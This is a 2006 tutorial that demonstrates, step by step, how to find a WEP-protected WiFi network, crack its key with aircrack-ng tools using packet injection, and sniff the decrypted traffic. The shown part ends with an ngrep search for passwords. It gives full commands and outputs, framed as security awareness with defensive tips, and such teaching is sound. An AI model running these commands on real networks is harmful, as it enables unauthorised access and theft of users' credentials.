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Part One - Preamble

Introduction
So  what  is  this  document  all  about ?  It  is  about  hacking.  It  is  about  showing  you  how  easily a
non-protected computer infrastructure - network, hosts and services - may be penetrated and access to its
resources be fully granted – to the hacker – or denied – to the legitimate users.

With the advent of the Internet, the open source and the free exchange of information, the best as well as
the worse has been made possible. Unfortunately,  in our case,  hacking has been made far  too easy
compared to the damage it can lead to. All that is required may easily be found on the Internet.

In order to give non-technical users a good feeling of how easy it is for those who are determined to hack
into a computer or network, this document will go through some practical and realistic hacking examples,
step-by-step and with extensive explanations. None of is top-secret. None of it is top-notch computing.
None of it requires great technical skills to succeed. As I already said, all the information required is
readily accessible on the Internet.

Who is  this  document  addressed to ? All  those who still  wonder why so much fuss is  made about
computer and network security,  and why they should definitely care about it, be it at home or in the
office.

What should you do after reading this document ? Well, in the case of someone whose assets definitely
need to be protected, call a specialist ! To start with ? Secure your wireless network properly. Use secure
protocols whenever  possible.  Keep your  passwords in a safe place.  Do not  open attachments unless
absolutely trusted. Do not give information about your infrastructure to anyone, unless this person has
been explicitly “cleared” to obtain such information.

Prerequisite
As I said, the objective of this document is to show how some particular hacking methods are actually
performed. Non-technical persons may not understand all of it. But they will definitely get the feeling that
it is not that difficult for any standardly-trained computer technician.

Now, what if you want to actually reproduce the examples shown in here ? Well, though every step and
command is given, you may – and you will – encounter problems. First of all, though readily available on
the Internet, many tools (software) will need to be compiled from source, since available only as “source
tarballs”; there will be problems during the compilation, such as a missing header here, a deprecated
constant there, etc. Any technician used to the Linux environment and having some C/C++ knowledge
will  nonetheless  be  able  to  fix  these  problems.  On  the  other  hand,  some  tools  may require  some
parameters to be adjusted according to the actual infrastructure being hacked. The examples given here
are realistic  standard  examples,  that would work in many –  far  too many – cases. Nonetheless,  and
hopefully, more and more infrastructure will be(come) immune to the methods described here.

WARNING !  Last but not least... Remember hacking into somebody else's infrastructure is illegal ! So, if
you want to convince yourself that the examples shown here actually work, do it on your own (test)
infrastructure !

Why hack ?
Because of the money that can be made out of it, and the growing importance of hacking as a mean used
by criminal organizations to make some profit. Some profit ? Well, as of today, the overall amount of
money earned by those organizations through hacking would be greater than what they earn with the drug
business. And time will  make it worse.

But why hack you, a mere individual with no money on its bank account or a small company with nothing
to hide ? Because though you possess very little, multiplying this very little by very many victims does
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make a very profitable amount of money. Or because – I somehow consider it worse – you may serve as
an unknowing participating collaborator to a felony being performed through your infrastructure. Be it for
gaining anonymous access to the Internet through your poorly secured wireless network, or through a
Trojan Horse installed on your  computer and programmed to launch a Distributed Denial of  Service
(DDoS) attack on the “big fish”, you may become an (unknowing) actor of a felony being performed, and
may be hold partly responsible for it under certain jurisdictions.

On the other hand, with hacking into a non-protected infrastructure being so easy for common computer
technicians, who knows why and who may become interested in causing you prejudices through it ?

Hardware
In order to reproduce the examples given in this document – or for any hacker to perform his deeds – one
will just need a standard computer. Nonetheless, since many hacks shown here rely wireless networks,
you are better off with a portable computer.  Also, since some hacking methods require heavy CPU-
intensive tasks to run, you are better of with a fast processor and lot of memory.

On the other, you will need a WiFi adapter that is supported on Linux (available drivers) and, ideally, that
allows what is called “packet injection”. Packet injection is the method by which any data (packet) may
be “injected” in the wireless network, without going through the WiFi protocol stack (and inherent checks
and verifications). This will prove very handy in some situations, as we will see.

Table 1: Hardware used

Equipment Brand / Model / Version

Computer HP nx8220 notebook

Processor (CPU) Intel Centrino M 2.0GHz

Memory (RAM) 1GB (2x512MB)

WiFi adapter Linksys WUSGB54G v.4

Software
First of all, you will need Linux. Why Linux ? Because its open source nature has drawn many people to
develop tools to match any need that has proven useful one time or the other, for one purpose or the other.
And a lot of tools are available to help our hacking purposes. Some are not inherently devoted to hacking.
A network monitoring tool and protocol analyzer, while really handy for the hacker, is beforehand a very
useful  tool  for network developers or administrators.  Some are on the other  hand totally devoted to
hacking purposes, developed by script-kiddies who wanted to have fun or top-notch researchers who
needed to demonstrate one theory or the other.

The table on the next page will list all software packages and tools that were used to perform  the various
hacking methods performed in this document. The “Availability” column indicates how each package or
tool was obtained: “Distribution” indicates a package/tool that is a standard installable element of the
Linux distribution being used – in our case, Fedora Core 5 – while “Source code” indicates a package/tool
which source code must be downloaded from the Internet and compiled (build), sometimes after some
debugging/fixing.

Technical fundamentals
In order to give technicians a better understanding of what is being done, or to give non-technical readers
a feeling of what level of knowledge is required to perform a given task, I will try to explain why a given
hack is possible, how it could be modified to match some other situations, and how one could – should –
act to prevent it from succeeding. Those explanations will not be exhaustive. On the other hand, they may
appear simplistic or inadequate to some readers. Remember, the objective here is to demonstrate how
easily hacking may be performed, and why one should definitely take care of securing its infrastructures
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properly. Not to teach you how to actually secure your infrastructures. Many highly specialized books,
courses and people are available to do so, that will provide you far more information and knowledge that
I'm able to give you.

Difficulties
The difficulty of each hack and counter-hack (tip) given has been evaluated, according to the level of
technical expertise needed and the likelihood of experiencing problems which may require some tuning.
In the case of counter-hacks, the (technical) administrative burden that may be implied will also be taken
into account. Four denominations will be used:

� “Piece-of-cake” : No special requirements. Just follow the guide.

� “Fairly easy” : “Apprentice technician” requirements. Some problems may occur. Some tuning
may be needed.

� “Technical” :  “Trained technician”  requirements.  Few  or  annoying  problems may or  will
occur. Few or recommended tuning may or will be needed.

� “Nightmare” :  “Expert”  requirements.  Many  or  severe  problems  will  occur.  A  lot  or
complicated tuning will be needed.
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Table 2: Software tools and packages

Tool / Package Description Identify Signature Availability On the Internet

Fedora Core 5 RedHat-sponsored Linux distribution uname -r 2.6.16-1.2111_FC5 Distribution http://fedora.redhat.com

Rt2570 Linksys WUSB54Gv4 driver dmesg | fgrep
RT25usb

RT25usb  Driver version 1.0.0
(CVS 2006051711)

Source code http://rt2x00.serialmonkey.com

Aircrack
(package)

WiFi cracking aircrack-ng Aircrack-ng 0.5 - (C) 2006 Thomas d'Otreppe
Original work: Christophe Devine

Source code http://www.aircrack-ng.org

DSniff Spoofing and Man-in-the-Middle attaksarpspoof Version: 2.3 Source code http://www.monkey.org/~dugsong/
dsniff

Ethereal Network monitoring
Protocol analyzer

ethereal -v ethereal 0.99.0 Distribution http://www.ethereal.com

Fragrouter Network router fragrouter Version 1.6 Source code http://www.anzen.com/research/ni
dsbench/fragrouter.html

Kismet WiFi monitoring kismet -v Kismet 2006.04.R1 Source code http://www.kismetwireless.net

Nessus Security scanner nessus -v nessus (Nessus) 3.0.3 for Linux Distribution http://www.nessus.org

Ngrep Network monitoring ngrep -V ngrep: V1.44, $Revision: 1.78 $ Distribution http://ngrep.sourceforge.net

Nmap Network profiling nmap -V Nmap version 4.03 Distribution http://www.insecure.org/nmap

OpenSSL PKI certificates handling openssl version OpenSSL 0.9.8a 11 Oct 2005 Distribution http://www.openssl.org

PHP Scripting language php -v PHP 5.1.2 (cli) (built: Jan 11 2006 16:40:00) Distribution http://www.php.net

Snort Intrusion Detection System (IDS) snort -V Version 2.4.4 (Build 28) Distribution http://www.snort.org

Syslog-ng System logging and monitoring syslog-ng -V syslog-ng 1.6.11 Distribution http://www.balabit.com

7-Zip Compression utilities 7z -version 7-Zip 4.32  Copyright (c) 1999-2005 Igor Pavlov
2005-12-09

Distribution http://www.7-zip.org



Part Two – WiFi Hacking

Introduction
In the following pages, we will walk through the four steps – hacks – required to penetrate a wireless
network, protected with a 128-bit WEP key, and sniff all the traffic flowing through it.

As of today, the methods described and results obtained here – on my own test infrastructure – would
unfortunately match what could be achieved in the real world. My personal experience as well as many
survey conducted in many countries show that  less than 10% of the existing wireless networks are
secured in such a way that they would not fall to the hacks we will perform next. What makes it even
more alarming is the huge quantity of active wireless networks nowadays. Driving along a small avenue
close to the downtown of the little city I work in, I have been able to count more than 100 active networks
for  less  than  a  kilometer  drive.  1  network  every  10 meters.  90  networks  prone  to  penetration.  90
infrastructures which data or Internet access are prone to be exploited.
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Hack 1: WiFi monitoring  (difficulty: piece-of-cake)

The first step to fulfill is to identify your target and collect information about it. Kismet will allow you to
detect all wireless networks in range, whether their are hidden (“cloaked” SSID) or not, whether they are
encrypted or not, and gather many useful information about the network infrastructure and its users.

Kismet

Kismet is  a wireless  monitoring and sniffing  tool.  Somehow it  could also be used as a “poor-guy”
Wireless Intrusion Detection System (WIDS),  since it  may be configured to warn you of suspicious
activities on your wireless infrastructure, such as the one we will carry out in the next pages.

Kismet  has become a very official software project – see http://www.kismetwireless.net – under active
development as I write these lines. Most problems or bugs are quickly fixed, resulting in a stable and
reliable tool. On Fedora Core 5, building and installing Kismet required less than five minutes.

Configure Kismet

Once build and installed, we just need to modify two lines in Kismet's configuration file, indicating which
WiFi adapter to use and where to save dump files.

Text 1: Configure Kismet

root@itching-hacker:~>

vim /etc/kismet/kismet.conf

vim:kismet.conf

<...>
source=rt2500,rausb0,WUSB54G
logtemplate=/var/kismet/data/%n-%d-%i.%l
<...>

Monitor with Kismet

Once configured, we may launch Kismet. Going through the different Kismet's detail screens (press 'h' to
obtain help), we will be able to gather useful information about: the active wireless network in range,
their configuration (network identifiers, station physical address, channel, encryption, IP addresses range,
etc.), their connected (associated) clients along with their configuration, etc.
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Text 2: Kismet network list

root@itching-hacker:~>

kismet

ismet:main screen
••Network List••(Autofit)•••••••••••••••••••••••••• •••••••••••••••••••••Info••••
•     Name                      T W Ch  Packts Flag s IP Range        •• Ntwrks •
•     < target-ssid >             A Y 004      6     W 192.168.27.2     ••      1 •
•                                                                    •• Pckets •
•                                                                    ••      8 •
•                                                                    •• Cryptd •
•                                                                    ••      2 •
•                                                                    ••   Weak •
•                                                                    ••      0 •
•                                                                    ••  Noise •
•                                                                    ••      0 •
•                                                                    •• Discrd •
•                                                                    ••      0 •
•                                                                    •• Pkts/s •
•                                                                    ••        •
•                                                                    ••      0 •
•                                                                    •• Elapsd •
••••••••••••••••••••••••••••••••••••••••••••••••••• ••••••••••••••••••••00:01:13•
••Status••••••••••••••••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••
•  Connected to Kismet server version 2006.04.R1 bu ild 20050815211952 on localh•
•  Muting sound                                                                •
•                                                                              •
••••••••••••••••••••••••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••

Text 3: Kismet network details

kismet:network details (press 'i')

••Network List••(SSID)••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••
•     Name                      T W Ch  Packts Flag s IP Range         Size     •
• ••Network Details•••••••••••••••••••••••••••••••• ••••••••••••••••••••••••••• •
• • Name    : target-ssid                                                    • •
• •                                                                          • •
• • SSID    : target-ssid                                                     • •
• •           SSID Cloaking on/Closed Network                                • •
• • Server  : localhost:2501                                                 • •
• • BSSID   : 00:13:10:9B:50:1F                                               • •
• • Manuf   : Unknown                                                        • •
• • Max Rate: 54.0                                                           • •
• • BSS Time: 1d8b7a188                                                      • •
• • First   : Thu May 18 10:08:38 2006                                       • •
• • Latest  : Thu May 18 10:14:04 2006                                       • •
• • Clients : 2                                                              • •
• • Type    : Access Point (infrastructure)                                  • •
• • Info    :                                                                • •
• • Channel : 4                                                              • •
• • Privacy : Yes                                                            • •
• • Encrypt : WEP                                                            • •
• • Decryptd: No                                                             • •
• • Beacon  : 59395 (60.820480 sec)                                          • •
• ••••••••••••••••••••••••••••••••••••••••••••••••• ••••••••••••59% (+) Down••• •
••••••••••••••••••••••••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••
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Text 4: Kismet client list

kismet:client list (press 'c')

••Network List••(SSID)••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••
•     Name                      T W Ch  Packts Flag s IP Range         Size     •
• ••Client List••(Autofit)••••••••••••••••••••••••• ••••••••••••••••••••••••••• •
• •   T MAC               Manuf      Data Crypt  Si ze IP Range        Sgn    • •
• •   F 00:13:10:9B:50:1F Linksys    1609  1609  10 9k 0.0.0.0           0    • •
• •   F 00:0F:66:86:32:C3  Linksys     216   216   47k 192.168.27.3       0    • •
• •   F 00:13:10:9B:50:1D Linksys      74    74   1 1k 192.168.27.1      0    • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• •                                                                          • •
• ••••••••••••••••••••••••••••••••••••••••••••••••• ••••••••••••••••••••••••••• •
••••••••••••••••••••••••••••••••••••••••••••••••••• ••••••••••••••••••••••••••••

Gathered information

In a matter of minutes, Kismet allows us to identify our target and gather useful information about it. The
following table summarizes what information we have been able to obtain and which we will need as we
proceed to hack deeper into our target's infrastructure.

Table 3: Gathered information (hack 1)

Information Value

Network ID (ESSID) target-ssid

Network ID (BSSID) 00:13:10:9B:50:1F

WiFi channel 4

“Security” WEP

TCP/IP range 192.168.27.0/24

Client (one among
other)

00:0F:66:86:32:C3

Easy game, huh ?!

Reference 1: Wireless = Insecure
Wireless (radio) communications are inherently insecure, since the information being exchanged between
two radio points on a given frequency is accessible to anyone tuned on the same frequency and able to
receive the radio signal. Radio broadcasting is the simplest example to illustrate this. In the case of WiFi
networks, the frequencies are standardized – between 10 to 14 channels (depending on the country) in the
2.4GHz band – and the radio signal is easily receivable since, in most cases, it is emitted in all directions
and to a distance of up to several hundreds meters.
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Hack 2: WEP key cracking  (difficulty: piece-of-cake to fairly easy)

Some wireless networks may be secured using the so-called Wired Equivalent Privacy (WEP) encryption
and authorization mechanism. Is  that  the end of  the game ? “Fortunately”  no.  WEP is very flawed,
cryptographically speaking, and may easily be cracked. Yes, easily !

We will now proceed to cracking our target's WEP key, in order to decrypt the traffic flowing through its
wireless network or  to be able to connect to it.

In order to do so, we will first need to gather “weak” data flowing through the network – and we will see
that we can artificially  force the targeted wireless network to generate such data – and then feed these
data to our WEP cracking tool. In most cases and when no particular precautions are taken, this can be
achieved in less than an hour ! In other circumstances, though, this may take up to 4-6 hours, sometimes
even longer.

Aircrack

WEP cracking is made possible thanks to the  Aircrack  package and included tools. You may find it
ironic – I find it ironic – but Aircrack is as official a project as Kismet – see http://www.aircrack-ng.org.
It actually even got a renewed impulse lately, as it went into its “next generation” flavor, as his maintainer
call it. So you thought cracking tools were hard to obtain, poorly supported/documented, and complex to
use ? Wrong !

Capture “weak” data with Airodump

First, we need to capture “weak” data, the so-called “IVs”. We will now launch Airodump , a capture tool
well suited to capture those “weak” data, and let it run until we have gathered enough of it.

Text 5: Capture “weak” data with Airodump

root@itching-hacker:~>

ifconfig rausb0 down # disable (reset) the WiFi ada pter
iwpriv rausb0 rfmontx 1 # prepare the adapter for p acket injection
airodump-ng  --ivs -w capture -c 4 rausb0 # capture IVs on chan nel 4

airodump-ng

 CH  4 ][ Elapsed: 1 hour 12 mins  ][ 2006-05-18 11:56

 BSSID              PWR  Beacons   # Data   CH  MB  ENC   ESSID

 00:13:10:9B:50:1F   -1     2986   461137    4  48  WEP

 BSSID              STATION            PWR  Packets   Probes

root@itching-hacker:~>
ls -l

ls

-rw-r--r-- 1 root root 2779705 May 18 11:37 capture-01.ivs
-rw-r--r-- 1 root root     652 May 18 11:56 capture -01.txt

Generate “weak” data with Aireplay

But waiting for “weak” data to get captured – without forcing the wireless network to generate those –
may take long (several days, maybe weeks). “Fortunately” again, there is a way to force the wireless
network to generate the “weak” data we crave for. To do so, we need to capture  some helpful  packets
flowing through the wireless network, and re-inject them in the “air”, causing the wireless network to
generate the “weak” data we need several hundred times faster.
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Aireplay is the tool we need to perform this trick. It will capture packets flowing through the wireless
network and offer them to you to chose from for re-injection – replay – in the “air”. Note that not all
packets will do the trick and that you may need to try several packets before seeing the “# Data” count
from Airodump suddenly augment at great speed. As a rule of thumb, useful packets are addressed to the
target network (BSSID), from an authorized (associated) client (Source MAC), and begin with a “0843”
hexadecimal value.

WARNING !  Injecting packets in the “air” is an active measure and may be detected by security-aware
infrastructures !

Text 6: Generate “weak” data with Aireplay

root@itching-hacker:~>

aireplay-ng  -b 00:13:10:9B:50:1F -2 rausb0 # capture and repla y packet

aireplay-ng
Read 13 packets...

        Size: 204, FromDS: 1, ToDS: 1 (WEP)

             BSSID  =  00:13:10:9B:50:1F
         Dest. MAC  =  03:00:00:00:00:01
        Source MAC  =  00:0F:66:86:32:C3

        0x0000:  0843  2c00 0013 109b 501f 0012 1771 29b3  .C,.....P....q ).
        0x0010:  0300 0000 0001 2020 000f 6686 32c3  8655  ......  ..f.2..U
        0x0020:  4c00 1c4f 267b bcaf 674a bbfc ccf0  b6d4  L..O&{..gJ......
        0x0030:  987d 7521 a895 3f24 7f3f 7ef4 55ca  1027  .}u!..?$?~.U..'
        0x0040:  1bc1 8fb2 60e9 ea93 b47b dbe2 3181  9610  ....`....{..1...
        0x0050:  f0df cc74 10a6 f90e 29b6 38de b9f7  d29f  ...t....).8.....
        0x0060:  c124 4247 d7ac cceb f930 fb8e e831  2cb4  .$BG.....0...1,.
        0x0070:  7270 2103 317a 4098 08ba 7e15 6839  1524  rp!.1z@...~.h9.$
        0x0080:  eef7 5b70 1465 225e d3a0 82a8 ac35  946d  ..[p.e"^.....5.m
        0x0090:  bbea 33f1 67e3 ac65 319d 563d 2faf  3b06  ..3.g..e1.V=/.;.
        0x00a0:  869b 8e60 b4df 192a 872f bc3e 161f  220e  ...`...*./.>..".
        0x00b0:  dd59 78b2 fdbe 7a26 b8f4 cad9 3034  8427  .Yx...z&....04.'
        0x00c0:  3e5c 4231 1bd5 184e 9f27 53d5            >\B1...N.'S.

Use this packet ? y

Saving chosen packet in replay_src-0518-115751.cap
You should also start airodump-ng to capture replie s.

Crack the WEP key with Aircrack

Once you have captured enough “weak” data – from 500'000 to 2'000'000 to crack a 128-bit WEP key –
you may start the cracking process. When lucky, this will succeed in less than 5 seconds. When not, it
may require several minutes, even more. When really out of luck, you may need to play around with the
cracking parameters in order to get rid of a so-called “false positive”, to raise the cracking “cleverness”,
or to build a new set of “weak” data.
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Text 7: Crack the WEP key with Aircrack

root@itching-hacker:~>

aicrack-ng  -a 1 -n 128 -b 00:13:10:9B:50:1F *.ivs # crack the  WEP key

aircrack-ng

                                 Aircrack-ng 0.5

                 [ 00:00:03 ] Tested 60631 keys (got 461137 IVs )

   KB    depth   byte(vote)
    0    0/  1   BC( 123) 60(   9) 86(   5) F9(   5 ) FC(   3) 01(   0)
    1    0/  1   D0(  85) 48(  19) 82(  19) 79(  18 ) 39(  11) 41(   9)
    2    0/  1   A2(  39) FB(  18) 24(  15) 8E(  12 ) A4(  10) 67(   6)
    3    0/  1   A5( 126) BF(  18) 4B(  12) C4(  12 ) 23(   9) 7C(   9)
    4    0/  3   AB(  27) F4(  15) FF(  15) 96(  13 ) 13(  12) 61(  12)
    5    0/  1   A6( 186) 60(  18) 4C(  12) 65(  12 ) 66(  12) 7C(  12)
    6    0/  1   FF(  45) B7(  15) 1A(   9) B6(   9 ) B1(   6) AB(   5)
    7    0/  1   3C(  45) 11(  19) 2F(  15) 36(  15 ) C3(  15) 40(  12)
    8    0/  5   4D(  24) 42(  15) 0B(  12) 1F(  12 ) CA(  12) 67(   9)
    9    0/  1   16(  36) 4C(  15) D9(  15) E8(  15 ) FF(  15) 3F(  12)
   10    0/  1   0C( 148) EA(  51) 2B(  21) 8A(  18 ) 2A(  15) C2(  15)

             KEY FOUND! [ BC:D0:A2:A5:AB:A6:FF:3C:4D:16:0C:EC:D5  ]

Replay or nor replay

Fast WEP-cracking relies on the ability to replay useful packets. But as you have been warned, this is an
active measure that may expose you to detection. Thus, replay or not replay ? It all depends whether you
think your target is able to detect you. “Fortunately”,  in most cases,  no Wireless Intrusion Detection
System (WIDS) will be active and able to raise the alarm. Good enough. But then, injecting so many
packets at such a high rate will definitely clog and slow the wireless network down, making any user
aware that something is not right (though, in most cases, they will blame it on that d... technology that
never works as it should). One compromise is to “throttle” down the packet injection rate, in order to
leave enough “breathing air” to the legitimate traffic, with the drawback of needing more time to gather
enough “weak” data. Aireplay allows you to do so. Your call !

Gathered information

At this stage, we have obtained a rather useful piece of information: the WEP key used to encrypt the
traffic and prevent outsiders to connect to the wireless network.

Table 4: Gathered information (hack 2)

Information Value

WEP key BC:D0:A2:A5:AB:A6:FF:3C:4D:16:0C:EC:D5

What is particularly alarming about this is that the WEP security used by our target certainly gave it a
fortified sense of security, thus maybe making it discard any other security measure that it  should have
put into place. There is nothing worse than a false sense of security, especially when crippled security
measures are unknowingly being used. Are you really secured ? 

Reference 2: Why WEP is flawed – a cryptographic in sight
As WiFi became a standard – IEEE 802.11b/g – it included a so-called Wired Equivalent Privacy (WEP)
security mechanism as a mean to keep illegitimate users out of the wireless network and to prevent them
from eave dropping. Unfortunately – and don't ask me how that can be – WEP was from the start a very
crippled cryptographic system. It didn't take long for its weaknesses to be identified... and exploited !
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So, why is WEP so easily cracked ? In 128-bit WEP, the static encryption key used to secure the system
is a 128-bit string, build from the 104-bit key you provide – the WEP key – and a 24-bit Initialization
Vector (IV) used to chain together the encrypted traffic stream. Nowadays, this short sentence would
suffice to raise the hair in the neck of any cryptography expert (either in horror or in expectation).

First of all, one should never – never ! - use a static key into any cryptographically strong encryption
system ! Why is that so ? Because the possibility to crack an encryption system relies on the fact that one
can gather enough encrypted data – data encrypted with the same key – to obtain mathematically or
statistically exploitable material to derive the encryption key, and/or to test the possibly correct keys. In
other words, a cryptographically strong system should generate (negotiate) a random dynamic (ever
changing) key based on your supplied (but concealed) key, negotiation that  may (not necessarily)
expose the encryption key to attack but that takes place far less often than as if it were used to encrypt the
data. So designed, an encryption system will not discard enough useful material to crack it, and if and by
the time it is cracked, the key will certainly have already changed.

On the other hand, data shall  never – never !  -  be encrypted using some other data that are readily
obtainable – unencrypted – along with it ! In the WEP case, the encryption key is built with your secret
WEP key and the so-called Initialization Vector (IV), which in turn is used unencrypted  as part of the
encrypted data stream. That is far too much information when dealing with a cryptographic attack. As a
rule of thumb,  a cryptographically strong system should never expose encrypted data along with
their  (partially)  unencrypted content. So designed,  the encryption system will  not  discard way-to-
useful information for a potential cryptographic attack.

As we saw during this hack, the first weakness was addressed through our gathering enough “weak” data
from the traffic flowing in the wireless network. The second weakness is exploited by the Aircrack tool,
which “implements the standard FMS attack along with some optimizations like KoreK attacks” (quoted
from the Aircrack website itself).

Tip 2: Properly secure your wireless network  (difficulty: piece-of-cake)

So what do you do ? Discard wireless communications entirely ? Well...

As of today, the WiFi standard has evolved and incorporates a new security mechanism known as Wi-Fi
Protected Access (WPA) – IEEE 802.11i – that addresses the two weaknesses explained earlier. Modern
equipment supports WPA readily and you should definitively switch to it if you haven't already
done so.

Unfortunately,  WPA is  also  prone  to  cracking,  though,  as  of  today,  it  is  not  realistically  feasible,
especially if the WPA master-key is long enough and “random” enough. Unlike the WEP key, the WPA
master-key cannot be derived from the encrypted stream itself, and is used to generate an ever-changing
encryption key. Cracking the WPA master-key involves so-called “dictionary-based” attacks, where the
possibly correct key is built using random arrangements (and salt) of words taken from a supplied list (the
“dictionary”). Each key is then tested against the encrypted data that have been captured, until – luckily –
one is found to be able decrypt the test set. What does that mean ? It means that if your WPA master-key
is “mummy”, and “mummy” is contained in the “dictionary” used, it is most likely to get cracked. It
means that your WPA master-key should be something long and complex, apparently random, that
may not be derived from dictionary-based “salt-'n-peppa”. As a rule of thumb, use a key that does not
include merely words which can be derived from knowing you or your company. As a known windsurf
addict, I would not use a WPA master-key spelled as “monkeyjibe”. Adding the content automatically
captured from a windsurf-oriented website to the WPA cracking “dictionary” would certainly allow the
cracking to succeed.

Now, knowing that WPA may – quite unrealistically as of today – be cracked, should you still use it ?
Well, so far, I have talked of the so-called WPA Pre-Shared Key (WPA-PSK) flavor, which involves a
static never-changing WPA master-key. Security-concerned infrastructures would more likely use WPA
with the Extensible Authentication Protocol (WPA-EAP), which allows the WPA master-key itself to be
changed (re-negotiated) as the connection goes on.
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OK, here I may have been too alarmist in regards with the real world. But, when it comes to very-high
security concerns, who knows ? For the reasons explained in the first hack – see Reference 1: Wireless =
Insecure – I personally would not trust any wireless-based network if I were to be hold responsible – in a
company whose assets really need to be secured – for the damage that may result out of its penetration. It
is and will always be far too easy to eave-drop on the traffic flowing in the “air”, and eventually catch the
one  information that may compromise the entire edifice. What would I do then ? I would definitively
consider my wireless network as insecure, make it a part of the Internet instead of my Intranet, and use
Virtual Private Network (VPN) technology to allow the wireless users to get into my Intranet, as an
additional layer to my security “onion”.

The Itching Hacker Guide to the Galaxy page 17 May 2006



Hack 3: WiFi sniffing  (difficulty: piece-of-cake)

Now that we have identified our target's wireless network and cracked its WEP key, we are free to sniff
the traffic flowing though it. Kismet once more proves handy, since all traffic – data – flowing through
each detected wireless network is thoroughly captured and saved in a file, using a standardized format,
that may easily be inspected afterwards.

Configure Kismet for sniffing

Before proceeding, let us tell Kismet about the WEP key we found in the previous section, in order to let
him decrypt the traffic for us.

Text 8: Configure Kismet for sniffing

root@itching-hacker:~>

vim /etc/kismet/kismet.conf

vim:kismet.conf

<...>
wepkey=00:13:10:9B:50:1F,BCD0A2A5ABA6FF3C4D160CECD5
<...>

Sniffing with Kismet

Now, let's launch Kismet again and let it run in the background, capturing wireless network traffic.

Text 9: WiFi sniffing with Kismet

root@itching-hacker:~>
kismet

kismet: data strings dump (press 'd')

••Network List••(SSID)••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••
•     Name                      T W Ch  Packts Flag s IP Range         Size     •
• ••Data Strings Dump•••••••••••••••••••••••••••••• ••••••••••••••••All•••••••• •
• • Content-Length: 2                                                        • •
• • Via: 1.1 freesurfplus.sunrise.ch (sunrise TDC S witzerland AG/1.3.33)     • •
• • X-Cache: MISS from freesurfplus.sunrise.ch                               • •
• • Keep-Alive: timeout=15                                                   • •
• • Connection: Keep-Alive                                                   • •
• • HTTP/1.1 404 Not Found                                                   • •
• • Content-Type: text/html                                                  • •
• • Date: Thu, 18 May 2006 14:25:56 GMT                                      • •
• • Server: Internet Mail version 7.2.073                                    • •
• • Transfer-Encoding: chunked                                               • •
• • Connection: close                                                        • •
• • <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//E N">                       • •
• • <HTML><HEAD>                                                             • •
• • <TITLE>404 Not Found</TITLE>                                             • •
• • </HEAD><BODY>                                                            • •
• • <H1>Not Found</H1>                                                       • •
• • Requested URL not found on this server.                                  • •
• • <ADDRESS>Internet Mail version 7.2.073 server a t mail-fs.sunrise.ch</ADDR• •
• • </BODY></HTML>                                                           • •
• ••••••••••••••••••••••••••••••••••••••••••••••••• ••••••••••••••••••••••••••• •
••••••••••••••••••••••••••••••••••••••••••••••••••• •••••••••••••••••••••••••••••
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Kismet will save the captured and decrypted traffic in a dump file that may be analyzed afterwards .

Text 10: Kismet dump file

root@itching-hacker:~>

cd /var/kismet/data; ls -l

ls
-rw-r--r-- 1 kismet kismet   612 May 18 15:17 Kisme t-May-18-2006-1.csv
-rw-r--r-- 1 kismet kismet 65536 May 18 15:21 Kismet-May-18-2006-1.dump
-rw-r--r-- 1 kismet kismet     0 May 18 15:12 Kisme t-May-18-2006-1.weak
-rw-r--r-- 1 kismet kismet  7440 May 18 15:17 Kisme t-May-18-2006-1.xml

Ethereal

Ethereal is certainly one of the most complete network monitoring tool and protocol analyzer one could
dream of. It is in no-way a hacking-specific tool and is used by many developers and administrators as an
essential tool during their legitimate daily work. As its website – http://www.ethereal.com – states, it is
certainly the “The world's most popular network protocol analyzer”, resulting in a very complete and
greatly supported product, readily available as an installable package on most Linux distributions.

Configure Ethereal for sniffing

Ethereal will  happily import dump files captured by Kismet, or monitor the traffic directly from the
wireless adapter. I would recommend to use Kismet to have a “live” feeling on what is going on – as well
as for locking the wireless channel, getting information on a given wireless client, etc. – and  use Ethereal
in parallel to capture the traffic directly from the wireless adapter.

First, let us start  Ethereal and let it know about the WEP key that must be used to decrypt the captured
traffic.
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Illustration 1: Configure Ethereal for sniffing

GUI: Edit > Preferences > Protocols > IEEE 822.11

Sniffing with Ethereal

Unlike Kismet, Ethereal  is an asynchronous tool,  meaning you must launch and wait  for the  capture
process  to be complete before you can  analyze  its content (thus the previous recommendation to have
Kismet running in parallel, in order to see what is “going on”).

Illustration 2: Launch Ethereal capture

GUI: Capture > Interfaces > rausb0  > Prepare

Once you have enough data, you may stop the capture process and start searching for interesting useful
information about your target. Since the captured data will contain every single bit of data that has been
sent  through  the  “air”,  one  must  take  advantage  of  Ethereal's filtering  abilities  to  get  rid  of  the
“background noise” and search for the “good stuff”.
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Ngrep

Ethereal may prove a bit cumbersome to search for interesting bits and pieces. At this stage, Ngrep comes
very  handy,  allowing  very  fast  and  flexible  searching  through  the  captured  data,  using  Regular
Expressions  (RegExp),  the  second-language  of  any  computer  technician  used  to  work  in  Unix-like
environments.

Once again,  Ngrep is a pretty well supported tool, readily available as an installable package on most
Linux distributions, or download-able directly from its official website – http://ngrep.sourceforge.net.

Sniffing with Ngrep

Once a captured data file is available, obtained either with Airodump, Kismet, Ethereal or Ngrep itself,
the first step is to decrypt the traffic using the discovered WEP key, thanks to the Airdecap tool (part of
the Aircrack package).

Text 11: Decrypt the dump file with Airdecap

root@itching-hacker:~>

airdecap-ng -w BC:D0:A2:A5:AB:A6:FF:3C:4D:16:0C:EC:D5  encrypted.pcap

airdecap-ng
Total number of packets read          1594
Total number of WEP data packets      1529
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets      1529
Number of decrypted WPA  packets         0

root@itching-hacker:~>

ls -l

ls

-rw-r--r-- 1 root root  469778 May 19 13:17 encrypted-dec.pcap
-rw------- 1 root root  755028 May 19 12:40 encrypt ed.pcap

Once the dump file has been decrypted, we can start searching for interesting information, using Ngrep
itself.

Text 12: Using Ngrep

root@itching-hacker:~>

# scan web traffic for passwords (HTTP / TCP port 8 0)
ngrep -q -I encrypted-dec.pcap “password=” tcp port 80

ngrep

<...>
